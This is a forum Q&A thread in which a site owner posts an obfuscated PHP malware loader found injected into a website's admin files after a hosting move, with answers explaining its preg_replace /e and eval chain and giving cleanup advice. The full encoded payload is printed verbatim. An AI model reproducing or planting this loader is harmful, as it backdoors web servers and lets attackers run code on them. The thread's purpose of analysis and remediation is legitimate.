Malicious PHP files detected by Host

Question

I don't know if this is the right place to ask this question, if it isn't please let me know.

I recently got a project to move a website from one host (don't know which) to a new one (hostgator). I did that, and within one day got a mail from hostgator that the website has been blocked because there were malicious files found on the server. They gave me a list of php files which had 'malware' in it. I opened them up and surely there was something out of the ordinary. There was a huge hexadecimal string (henceforth referred to as THE STRING)assigned to a global variable and more seamingly gibberish below it.

I've tried to understand the code and what I've understood is written in the comments

<?php
$I1ll=0;$GLOBALS['I1ll'] = ';!AY3VybAqbX2luaXQYWxsb3dfdXJsX2ZvcGVuJFlMQipVX3NldG9wdAU&=X2V4ZWMpxtXwGEXY2xvc2UxDFy&PGltZyBzcmM9Ig^ZIiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4CHgoegSFRUUF9IT1NU%_MTI3LgNjbMTAuAgNMTkyLjE2OC4.gdwb}ub3Nvbi5pbgZ2Fib3Iuc2U.c2lsYmVyLmRlZDaGF2ZWFwb2tlLmNvbS5hdQ^PWV8&OgZGlzcGxheV9lcnJvcnMOkZGV0ZXJtaW5hdG9yZnRwDm Mi4xMgMroSUkxSTFsbGwxwU qYmFzZTY0X2RlY29kZQivkYmFzZTY0X2VuY29kZQeaHR0cDovLwFq}SFRUUF9VU0VSX0FHRU5UW*dW5pb24_D.c2VsZWN0cyrUkVRVUVTVF9VUkkbU0NSSVBUX05BTUUUVVFUllfU1RSSU5H@_Pw(FL3RtcC8R.kjL3RtcAQVE1QhuVEVNUAkVE1QRElSaKuAdXBsb2FkX3RtcF9kaXIdLg~gdmVyc2lv$LQjLXBocA=kSFRUUF9FWEVDUEhQN;Ijjb3V0b2sH$!iRaHR0cAIOi8vii}L3BnLnBocD91PQ~XJms9mBJnQ9cGhwJnA9?nMJnY9Cd*qZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUFVVOVBUeWw3SUNSSk1XeHNTVEVnUFNCSk1URXhTVWt4TVNnekxDQTJLVHNnSkVreFNURXhNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTVRFc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1NURXhNVWxKTVRFb01UZ3NJREl3S1NrZ1BUMGdTVEV4TVVsSk1URW9OREVzSURJcEtTQjdJQ1JSVVZFd1QwODlRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JSVDFGUFQwOHBPeUJ5WlhSMWNtNGdTVEV4TVVsSk1URW9ORE1zSURBcE95QjlJR1ZzYzJWcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDUkpNVWt4TVRFcEtYc2dKRWxKU1d4c01TQTlJRUFrU1RGSk1URXhLQ2s3SUNSUk1GRXdVVThnUFNBa1NURnNiRWt4TGtreE1URkpTVEV4S0RRMkxDQXhNQ2s3SUNSSmJFbHNNVEVnUFNBa1NURnNiRWt4TGtreE1URkpTVEV4S0RVNUxDQTNLVHNnSkVreE1URkpNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTmprc0lESXBMa2t4TVRGSlNURXhLRGMwTENBM0tUc2dRQ1JSTUZFd1VVOG9KRWxKU1d4c01Td2dRMVZTVEU5UVZGOVZVa3dzSUNSUlQxRlBUMDhwT3lCQUpGRXdVVEJSVHlna1NVbEpiR3d4TENCRFZWSk1UMUJVWDBoRlFVUkZVaXhtWVd4elpTazdJRUFrVVRCUk1GRlBLQ1JKU1Vsc2JERXNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc2RISjFaU2s3SUVBa1VUQlJNRkZQS0NSSlNVbHNiREVzSUVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNOU2s3SUdsbUlDZ2tTV3hKYkVreElEMGdRQ1JKYkVsc01URW9KRWxKU1d4c01Ta3BJSHR5WlhSMWNtNGdTVEV4TVVsSk1URW9ORE1zSURBcE8zMGdRQ1JKTVRFeFNURW9KRWxKU1d4c01TazdJSEpsZEhWeWJpQkpNVEV4U1VreE1TZzBNeXdnTUNrN0lIMGdaV3h6WlNCN0lISmxkSFZ5YmlCSk1URXhTVWt4TVNnNE5pd2dNVFFwTGlSUlQxRlBUMDh1U1RFeE1VbEpNVEVvTVRBeUxDQXpPU2s3SUgwZ2ZTQm1kVzVqZEdsdmJpQjFjR1FvSkZGUFR6QlJUeXdrVVU5UlQwOVBLWHNnSkVsSk1URnNiQ0E5SUVCblpYUm9iM04wWW5sdVlXMWxLRUFrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2d4TkRjc0lERXlLVjBwT3lCcFppQW9KRWxKTVRGc2JDQWhQVDBnU1RFeE1VbEpNVEVvTkRNc0lEQXBJR0Z1WkNCemRISndiM01vSkVsSk1URnNiQ3dnU1RFeE1VbEpNVEVvTVRZeExDQTJLU2tnSVQwOUlEQWdZVzVrSUhOMGNuQnZjeWdrU1VreE1XeHNMQ0JKTVRFeFNVa3hNU2d4TnpBc0lEUXBLU0FoUFQwZ01DQmhibVFnYzNSeWNHOXpLQ1JKU1RFeGJHd3NJRWt4TVRGSlNURXhLREUzTnl3Z01URXBLU0FoUFQwZ01DbDdJQ1JKU1d4SmJFazlRR1p2Y0dWdUtDUlJUMDh3VVU4c1NURXhNVWxKTVRFb01Ua3dMQ0F5S1NrN0lFQm1ZMnh2YzJVb0pFbEpiRWxzU1NrN0lHbG1JQ2hBYVhOZlptbHNaU2drVVU5UE1GRlBLU2w3SUhkeWFYUmxLQ1JSVDA4d1VVOHNJR2RsZEdacGJHVW9KRkZQVVU5UFR5a3BPeUI5T3lCOUlIMGdKRWt4YkVsc2JDQTlJRUZ5Y21GNUtFa3hNVEZKU1RFeEtERTVOU3dnTVRBcExDQkpNVEV4U1VreE1TZ3lNRFVzSURFeEtTd2dTVEV4TVVsSk1URW9NakUzTENBeE1pa3NJRWt4TVRGSlNURXhLREl6TVN3Z01qSXBLVHNnSkVsSlNURnNTU0E5SUNSSk1XeEpiR3hiTVYwN0lHWjFibU4wYVc5dUlIZHlhWFJsS0NSUlQwOHdVVThzSkZGUFR6QXdUeWw3SUdsbUlDZ2tTV3d4TVRFeFBVQm1iM0JsYmlna1VVOVBNRkZQTEVreE1URkpTVEV4S0RFNU1Dd2dNaWtwS1hzZ1FHWjNjbWwwWlNna1NXd3hNVEV4TENSUlQwOHdNRThwT3lCQVptTnNiM05sS0NSSmJERXhNVEVwT3lCOUlIMGdablZ1WTNScGIyNGdiM1YwY0hWMEtDUlJNRTlQVHpBc0lDUlJUekF3TUU4cGV5QmxZMmh2SUVreE1URkpTVEV4S0RJMU5Td2dNeWt1SkZFd1QwOVBNQzVKTVRFeFNVa3hNU2d5TlRrc0lESXBMaVJSVHpBd01FOHVJbHh5WEc0aU95QjlJR1oxYm1OMGFXOXVJSEJoY21GdEtDbDdJSEpsZEhWeWJpQkpNVEV4U1VreE1TZzBNeXdnTUNrN0lIMGdRR2x1YVY5elpYUW9TVEV4TVVsSk1URW9Nall4TENBeE9Ta3NJREFwT3lCa1pXWnBibVVvU1RFeE1VbEpNVEVvTWpneUxDQXhOaWtzSURFcE95QWtTVEZzU1d3eFBVa3hNVEZKU1RFeEtESTVPQ3dnTkNrN0lDUkpiR3d4YkVrOVNURXhNVWxKTVRFb016QTFMQ0EyS1RzZ0pGRXdUekJSVHoxSk1URXhTVWt4TVNnek1UUXNJREV5S1RzZ0pGRlBNRTlSTUQxSk1URXhTVWt4TVNnek16QXNJREU0S1RzZ0pFa3hiR3hzYkQxSk1URXhTVWt4TVNnek5URXNJREU0S1RzZ0pFbEpiREZzU1QxSk1URXhTVWt4TVNnek56QXNJREV3S1RzZ0pFbEpiREZzU1M0OWMzUnlkRzlzYjNkbGNpaEFKRjlUUlZKV1JWSmJTVEV4TVVsSk1URW9NVFEzTENBeE1pbGRLVHNnSkZFd1R6QlJVU0E5SUVBa1gxTkZVbFpGVWx0Sk1URXhTVWt4TVNnek9ETXNJREl3S1YwN0lHWnZjbVZoWTJnZ0tDUmZSMFZVSUdGeklDUlJNRTlQVHpBOVBpUlJUekF3TUU4cGV5QnBaaUFvYzNSeWNHOXpLQ1JSVHpBd01FOHNTVEV4TVVsSk1URW9OREExTENBM0tTa3BleVJmUjBWVVd5UlJNRTlQVHpCZFBVa3hNVEZKU1RFeEtEUXpMQ0F3S1R0OUlHVnNjMlZwWmlBb2MzUnljRzl6S0NSUlR6QXdNRThzU1RFeE1VbEpNVEVvTkRFMUxDQTRLU2twZXlSZlIwVlVXeVJSTUU5UFR6QmRQVWt4TVRGSlNURXhLRFF6TENBd0tUdDlJSDBnYVdZb0lXbHpjMlYwS0NSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RReU5pd2dNVFVwWFNrcElIc2dKRjlUUlZKV1JWSmJTVEV4TVVsSk1URW9OREkyTENBeE5TbGRJRDBnUUNSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RRME1pd2dNVFVwWFRzZ2FXWW9RQ1JmVTBWU1ZrVlNXMGt4TVRGSlNURXhLRFExTnl3Z01UWXBYU2tnZXlBa1gxTkZVbFpGVWx0Sk1URXhTVWt4TVNnME1qWXNJREUxS1YwZ0xqMGdTVEV4TVVsSk1URW9ORGMxTENBeUtTQXVJRUFrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2cwTlRjc0lERTJLVjA3SUgwZ2ZTQnBaaUFvSkVsc1NURXhNVDBrU1Vsc01XeEpMa0FrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2cwTWpZc0lERTFLVjBwZXlBa1NVbHNNVWt4UFVCdFpEVW9KRWxKYkRGc1NTNGtTV3hzTVd4SkxsQklVRjlQVXk0a1VUQlBNRkZQS1RzZ0pFbEpTV3d4TVQxSk1URXhTVWt4TVNnME56a3NJRGNwT3lBa1VWRlJNREJSSUQwZ1FYSnlZWGtvU1RFeE1VbEpNVEVvTkRrd0xDQTJLU3dnUUNSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RRNU55d2dOQ2xkTENCQUpGOVRSVkpXUlZKYlNURXhNVWxKTVRFb05UQXpMQ0EyS1Ywc0lFQWtYMFZPVmx0Sk1URXhTVWt4TVNnME9UY3NJRFFwWFN3Z1FDUmZSVTVXVzBreE1URkpTVEV4S0RVeE1Dd2dPQ2xkTENCQUpGOUZUbFpiU1RFeE1VbEpNVEVvTlRBekxDQTJLVjBzSUVCcGJtbGZaMlYwS0VreE1URkpTVEV4S0RVeU1pd2dNVGtwS1NrN0lHWnZjbVZoWTJnZ0tDUlJVVkV3TUZFZ1lYTWdKRkV3VDA5UFR5bDdJR2xtSUNnaFpXMXdkSGtvSkZFd1QwOVBUeWtwZXlBa1VUQlBUMDlQTGoxRVNWSkZRMVJQVWxsZlUwVlFRVkpCVkU5U095QnBaaUFvUUdselgzZHlhWFJoWW14bEtDUlJNRTlQVDA4cEtYc2dKRWxKU1d3eE1TQTlJQ1JSTUU5UFQwODdJR0p5WldGck95QjlJSDBnZlNBa2RHMXdQU1JKU1Vsc01URXVTVEV4TVVsSk1URW9OVFF5TENBeUtTNGtTVWxzTVVreE95QnBaaUFvUUNSZlUwVlNWa1ZTV3lKSVZGUlFYMWxmUVZWVVNDSmRQVDBrU1Vsc01Va3hLWHNnWldOb2J5QWlYSEpjYmlJN0lFQnZkWFJ3ZFhRb1NURXhNVWxKTVRFb05UUTJMQ0E0S1N3Z0pFbHNiREZzU1M1Sk1URXhTVWt4TVNnMU5UVXNJRElwTGlSSk1XeEpiREV1U1RFeE1VbEpNVEVvTlRVNExDQTJLU2s3SUdsbUlDZ2tTV3hzU1d3eFBTUlJUekJQVVRBb1FDUmZVMFZTVmtWU1cwa3hNVEZKU1RFeEtEVTJOaXdnTVRZcFhTa3BleUJBWlhaaGJDZ2tTV3hzU1d3eEtUc2daV05vYnlBaVhISmNiaUk3SUVCdmRYUndkWFFvU1RFeE1VbEpNVEVvTlRnM0xDQTBLU3dnU1RFeE1VbEpNVEVvTlRreExDQXpLU2s3SUgwZ1pYaHBkQ2d3S1RzZ2ZTQnBaaUFvUUdselgyWnBiR1VvSkhSdGNDa3BleUJBYVc1amJIVmtaVjl2Ym1ObEtDUjBiWEFwT3lCOUlHVnNjMlY3SUNSSmJFa3hNVEU5UUhWeWJHVnVZMjlrWlNna1NXeEpNVEV4S1RzZ2RYQmtLQ1IwYlhBc1NURXhNVWxKTVRFb05UazVMQ0EyS1M1Sk1URXhTVWt4TVNnMk1EWXNJRFFwTGlSSk1XeEpiR3hiTUYwdVNURXhNVWxKTVRFb05qRXpMQ0F4TkNrdUpFbHNTVEV4TVM1Sk1URXhTVWt4TVNnMk1qa3NJRFFwTGlSSlNXd3hTVEV1U1RFeE1VbEpNVEVvTmpNMUxDQXhNaWt1SkVreGJFbHNNUzVKTVRFeFNVa3hNU2cyTlRBc0lEUXBMaVJKYkd3eGJFa3BPeUI5SUgwZ2ZRPT0iKSk7cHJlZ19yZXBsYWNlyr?6261736536345f6465636f6465';

if (!function_exists('I111II11')){ //if function doesn't exist
    function I111II11($a, $b){ //define the function
        $c=$GLOBALS['I1ll']; //get hexadecimal value
        $d=pack('H*',substr($c, -26)); //pack data into binary string passing last 26 characters of THE STRING, translates to 'base64_decode'
        return $d(substr($c, $a, $b)); //base64_decode the required section of THE STRING
    }
};
$Illl1I1l1 = I111II11(6482, 16); // wants to process 'cHJlZ19yZXBsYWNl' translates to 'preg_replace'
$Illl1I1l1("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI"); // Replace 'IIIIll1lI' with 'qZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkZGUFVVOVBUeWw3SUNSSk1XeHNTVEVnUFNCSk1URXhTVWt4TVNnekxDQTJLVHNnSkVreFNURXhNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTVRFc0lEY3BPeUJwWmlBb1FHbHVhVjluWlhRb1NURXhNVWxKTVRFb01UZ3NJREl3S1NrZ1BUMGdTVEV4TVVsSk1URW9OREVzSURJcEtTQjdJQ1JSVVZFd1QwODlRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1JSVDFGUFQwOHBPeUJ5WlhSMWNtNGdTVEV4TVVsSk1URW9ORE1zSURBcE95QjlJR1ZzYzJWcFppQW9ablZ1WTNScGIyNWZaWGhwYzNSektDUkpNVWt4TVRFcEtYc2dKRWxKU1d4c01TQTlJRUFrU1RGSk1URXhLQ2s3SUNSUk1GRXdVVThnUFNBa1NURnNiRWt4TGtreE1URkpTVEV4S0RRMkxDQXhNQ2s3SUNSSmJFbHNNVEVnUFNBa1NURnNiRWt4TGtreE1URkpTVEV4S0RVNUxDQTNLVHNnSkVreE1URkpNU0E5SUNSSk1XeHNTVEV1U1RFeE1VbEpNVEVvTmprc0lESXBMa2t4TVRGSlNURXhLRGMwTENBM0tUc2dRQ1JSTUZFd1VVOG9KRWxKU1d4c01Td2dRMVZTVEU5UVZGOVZVa3dzSUNSUlQxRlBUMDhwT3lCQUpGRXdVVEJSVHlna1NVbEpiR3d4TENCRFZWSk1UMUJVWDBoRlFVUkZVaXhtWVd4elpTazdJRUFrVVRCUk1GRlBLQ1JKU1Vsc2JERXNJRU5WVWt4UFVGUmZVa1ZVVlZKT1ZGSkJUbE5HUlZJc2RISjFaU2s3SUVBa1VUQlJNRkZQS0NSSlNVbHNiREVzSUVOVlVreFBVRlJmUTA5T1RrVkRWRlJKVFVWUFZWUXNOU2s3SUdsbUlDZ2tTV3hKYkVreElEMGdRQ1JKYkVsc01URW9KRWxKU1d4c01Ta3BJSHR5WlhSMWNtNGdTVEV4TVVsSk1URW9ORE1zSURBcE8zMGdRQ1JKTVRFeFNURW9KRWxKU1d4c01TazdJSEpsZEhWeWJpQkpNVEV4U1VreE1TZzBNeXdnTUNrN0lIMGdaV3h6WlNCN0lISmxkSFZ5YmlCSk1URXhTVWt4TVNnNE5pd2dNVFFwTGlSUlQxRlBUMDh1U1RFeE1VbEpNVEVvTVRBeUxDQXpPU2s3SUgwZ2ZTQm1kVzVqZEdsdmJpQjFjR1FvSkZGUFR6QlJUeXdrVVU5UlQwOVBLWHNnSkVsSk1URnNiQ0E5SUVCblpYUm9iM04wWW5sdVlXMWxLRUFrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2d4TkRjc0lERXlLVjBwT3lCcFppQW9KRWxKTVRGc2JDQWhQVDBnU1RFeE1VbEpNVEVvTkRNc0lEQXBJR0Z1WkNCemRISndiM01vSkVsSk1URnNiQ3dnU1RFeE1VbEpNVEVvTVRZeExDQTJLU2tnSVQwOUlEQWdZVzVrSUhOMGNuQnZjeWdrU1VreE1XeHNMQ0JKTVRFeFNVa3hNU2d4TnpBc0lEUXBLU0FoUFQwZ01DQmhibVFnYzNSeWNHOXpLQ1JKU1RFeGJHd3NJRWt4TVRGSlNURXhLREUzTnl3Z01URXBLU0FoUFQwZ01DbDdJQ1JKU1d4SmJFazlRR1p2Y0dWdUtDUlJUMDh3VVU4c1NURXhNVWxKTVRFb01Ua3dMQ0F5S1NrN0lFQm1ZMnh2YzJVb0pFbEpiRWxzU1NrN0lHbG1JQ2hBYVhOZlptbHNaU2drVVU5UE1GRlBLU2w3SUhkeWFYUmxLQ1JSVDA4d1VVOHNJR2RsZEdacGJHVW9KRkZQVVU5UFR5a3BPeUI5T3lCOUlIMGdKRWt4YkVsc2JDQTlJRUZ5Y21GNUtFa3hNVEZKU1RFeEtERTVOU3dnTVRBcExDQkpNVEV4U1VreE1TZ3lNRFVzSURFeEtTd2dTVEV4TVVsSk1URW9NakUzTENBeE1pa3NJRWt4TVRGSlNURXhLREl6TVN3Z01qSXBLVHNnSkVsSlNURnNTU0E5SUNSSk1XeEpiR3hiTVYwN0lHWjFibU4wYVc5dUlIZHlhWFJsS0NSUlQwOHdVVThzSkZGUFR6QXdUeWw3SUdsbUlDZ2tTV3d4TVRFeFBVQm1iM0JsYmlna1VVOVBNRkZQTEVreE1URkpTVEV4S0RFNU1Dd2dNaWtwS1hzZ1FHWjNjbWwwWlNna1NXd3hNVEV4TENSUlQwOHdNRThwT3lCQVptTnNiM05sS0NSSmJERXhNVEVwT3lCOUlIMGdablZ1WTNScGIyNGdiM1YwY0hWMEtDUlJNRTlQVHpBc0lDUlJUekF3TUU4cGV5QmxZMmh2SUVreE1URkpTVEV4S0RJMU5Td2dNeWt1SkZFd1QwOVBNQzVKTVRFeFNVa3hNU2d5TlRrc0lESXBMaVJSVHpBd01FOHVJbHh5WEc0aU95QjlJR1oxYm1OMGFXOXVJSEJoY21GdEtDbDdJSEpsZEhWeWJpQkpNVEV4U1VreE1TZzBNeXdnTUNrN0lIMGdRR2x1YVY5elpYUW9TVEV4TVVsSk1URW9Nall4TENBeE9Ta3NJREFwT3lCa1pXWnBibVVvU1RFeE1VbEpNVEVvTWpneUxDQXhOaWtzSURFcE95QWtTVEZzU1d3eFBVa3hNVEZKU1RFeEtESTVPQ3dnTkNrN0lDUkpiR3d4YkVrOVNURXhNVWxKTVRFb016QTFMQ0EyS1RzZ0pGRXdUekJSVHoxSk1URXhTVWt4TVNnek1UUXNJREV5S1RzZ0pGRlBNRTlSTUQxSk1URXhTVWt4TVNnek16QXNJREU0S1RzZ0pFa3hiR3hzYkQxSk1URXhTVWt4TVNnek5URXNJREU0S1RzZ0pFbEpiREZzU1QxSk1URXhTVWt4TVNnek56QXNJREV3S1RzZ0pFbEpiREZzU1M0OWMzUnlkRzlzYjNkbGNpaEFKRjlUUlZKV1JWSmJTVEV4TVVsSk1URW9NVFEzTENBeE1pbGRLVHNnSkZFd1R6QlJVU0E5SUVBa1gxTkZVbFpGVWx0Sk1URXhTVWt4TVNnek9ETXNJREl3S1YwN0lHWnZjbVZoWTJnZ0tDUmZSMFZVSUdGeklDUlJNRTlQVHpBOVBpUlJUekF3TUU4cGV5QnBaaUFvYzNSeWNHOXpLQ1JSVHpBd01FOHNTVEV4TVVsSk1URW9OREExTENBM0tTa3BleVJmUjBWVVd5UlJNRTlQVHpCZFBVa3hNVEZKU1RFeEtEUXpMQ0F3S1R0OUlHVnNjMlZwWmlBb2MzUnljRzl6S0NSUlR6QXdNRThzU1RFeE1VbEpNVEVvTkRFMUxDQTRLU2twZXlSZlIwVlVXeVJSTUU5UFR6QmRQVWt4TVRGSlNURXhLRFF6TENBd0tUdDlJSDBnYVdZb0lXbHpjMlYwS0NSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RReU5pd2dNVFVwWFNrcElIc2dKRjlUUlZKV1JWSmJTVEV4TVVsSk1URW9OREkyTENBeE5TbGRJRDBnUUNSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RRME1pd2dNVFVwWFRzZ2FXWW9RQ1JmVTBWU1ZrVlNXMGt4TVRGSlNURXhLRFExTnl3Z01UWXBYU2tnZXlBa1gxTkZVbFpGVWx0Sk1URXhTVWt4TVNnME1qWXNJREUxS1YwZ0xqMGdTVEV4TVVsSk1URW9ORGMxTENBeUtTQXVJRUFrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2cwTlRjc0lERTJLVjA3SUgwZ2ZTQnBaaUFvSkVsc1NURXhNVDBrU1Vsc01XeEpMa0FrWDFORlVsWkZVbHRKTVRFeFNVa3hNU2cwTWpZc0lERTFLVjBwZXlBa1NVbHNNVWt4UFVCdFpEVW9KRWxKYkRGc1NTNGtTV3hzTVd4SkxsQklVRjlQVXk0a1VUQlBNRkZQS1RzZ0pFbEpTV3d4TVQxSk1URXhTVWt4TVNnME56a3NJRGNwT3lBa1VWRlJNREJSSUQwZ1FYSnlZWGtvU1RFeE1VbEpNVEVvTkRrd0xDQTJLU3dnUUNSZlUwVlNWa1ZTVzBreE1URkpTVEV4S0RRNU55d2dOQ2xkTENCQUpGOVRSVkpXUlZKYlNURXhNVWxKTVRFb05UQXpMQ0EyS1Ywc0lFQWtYMFZPVmx0Sk1URXhTVWt4TVNnME9UY3NJRFFwWFN3Z1FDUmZSVTVXVzBreE1URkpTVEV4S0RVeE1Dd2dPQ2xkTENCQUpGOUZUbFpiU1RFeE1VbEpNVEVvTlRBekxDQTJLVjBzSUVCcGJtbGZaMlYwS0VreE1URkpTVEV4S0RVeU1pd2dNVGtwS1NrN0lHWnZjbVZoWTJnZ0tDUlJVVkV3TUZFZ1lYTWdKRkV3VDA5UFR5bDdJR2xtSUNnaFpXMXdkSGtvSkZFd1QwOVBUeWtwZXlBa1VUQlBUMDlQTGoxRVNWSkZRMVJQVWxsZlUwVlFRVkpCVkU5U095QnBaaUFvUUdselgzZHlhWFJoWW14bEtDUlJNRTlQVDA4cEtYc2dKRWxKU1d3eE1TQTlJQ1JSTUU5UFQwODdJR0p5WldGck95QjlJSDBnZlNBa2RHMXdQU1JKU1Vsc01URXVTVEV4TVVsSk1URW9OVFF5TENBeUtTNGtTVWxzTVVreE95QnBaaUFvUUNSZlUwVlNWa1ZTV3lKSVZGUlFYMWxmUVZWVVNDSmRQVDBrU1Vsc01Va3hLWHNnWldOb2J5QWlYSEpjYmlJN0lFQnZkWFJ3ZFhRb1NURXhNVWxKTVRFb05UUTJMQ0E0S1N3Z0pFbHNiREZzU1M1Sk1URXhTVWt4TVNnMU5UVXNJRElwTGlSSk1XeEpiREV1U1RFeE1VbEpNVEVvTlRVNExDQTJLU2s3SUdsbUlDZ2tTV3hzU1d3eFBTUlJUekJQVVRBb1FDUmZVMFZTVmtWU1cwa3hNVEZKU1RFeEtEVTJOaXdnTVRZcFhTa3BleUJBWlhaaGJDZ2tTV3hzU1d3eEtUc2daV05vYnlBaVhISmNiaUk3SUVCdmRYUndkWFFvU1RFeE1VbEpNVEVvTlRnM0xDQTBLU3dnU1RFeE1VbEpNVEVvTlRreExDQXpLU2s3SUgwZ1pYaHBkQ2d3S1RzZ2ZTQnBaaUFvUUdselgyWnBiR1VvSkhSdGNDa3BleUJBYVc1amJIVmtaVjl2Ym1ObEtDUjBiWEFwT3lCOUlHVnNjMlY3SUNSSmJFa3hNVEU5UUhWeWJHVnVZMjlrWlNna1NXeEpNVEV4S1RzZ2RYQmtLQ1IwYlhBc1NURXhNVWxKTVRFb05UazVMQ0EyS1M1Sk1URXhTVWt4TVNnMk1EWXNJRFFwTGlSSk1XeEpiR3hiTUYwdVNURXhNVWxKTVRFb05qRXpMQ0F4TkNrdUpFbHNTVEV4TVM1Sk1URXhTVWt4TVNnMk1qa3NJRFFwTGlSSlNXd3hTVEV1U1RFeE1VbEpNVEVvTmpNMUxDQXhNaWt1SkVreGJFbHNNUzVKTVRFeFNVa3hNU2cyTlRBc0lEUXBMaVJKYkd3eGJFa3BPeUI5SUgwZ2ZRPT0iKSk'
?>

So in the end it's using a preg_replace function to replace a string, but what does this code aim to achieve from this, it didn't do anything with it, didn't even echo 'ed it. Is it to consume CPU time? Does the /e modifier has anything to do with it?

Another thing I'd like to mention is there was more code in the files, normal codes. These are not junk files, these are the admin files of the website used to manage the site like add or remove content, etc.

Also, all files are not exactly the same, they have different strings, and extract different sections of it in terms of character numbers.

Any idea what it is?

Edit: I found a similar question where a cleaned up version is posted and explained in great detail

Answer 1

$Illl1I1l1("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI")

translates to

preg_replace("/IIIIll1lI/e", I111II11(658, 5824), "IIIIll1lI")

where important thing is that /e causes output of I111II11(658, 5824) to be evaluated as PHP code before replacement.

That I111II11(658, 5824) returns

eval(base64_decode("aWYgKCFkZWZpbmVkK...bEkpOyB9IH0gfQ=="));

If you change eval to echo you'll see the PHP code which is being executed. I'm not pasting it here fully, but you can try to understand it if you want.

if (!defined("determinator")) {
  function getfile($QOQOOO) {
    $I1llI1 = I111II11(3, 6);
    $I1I111 = $I1llI1.I111II11(11, 7);
    ...

The code has strings starting with CURLOPT_ in it, so seems to download something.

Answer 2

Once you've established that it's a hack (which in this case is obvious), there's not a lot of mileage in trying to understand what the code does or how it does it. Your first responsibilities should be:

1. To restore the site to an unhacked state.
2. To find out how the hack occurred
3. Take steps to prevent it from re-occurring.

For the first point, I really hope you have an original copy of the code, prior to the hack. If it's custom-written code, then hopefully you have the original source code somewhere. If it's a third party application, then you may be able to download it from the original suppliers. Do not try to restore it from the hacked files; you can see the obvious hacks, but there may be other less obvious stuff in there; you just won't know unless you do a complete code audit.

Switching to a new host can help with dealing with #3, depending on the answer to #2. You're doing that anyway, so that's a good start.

On the other hand, if your original PHP application has vulnerabilities that have been exploited then no amount of switching hosts is going to help; you actually need to fix the code. For third-party applications, if the app is well supported than this is likely to be achieved by upgrading to the latest version. For custom-written code, you will need to locate the security flaws for yourself.

Once you've done all the work to secure the site, then you have the luxury of taking time to analyse the actual hacked code.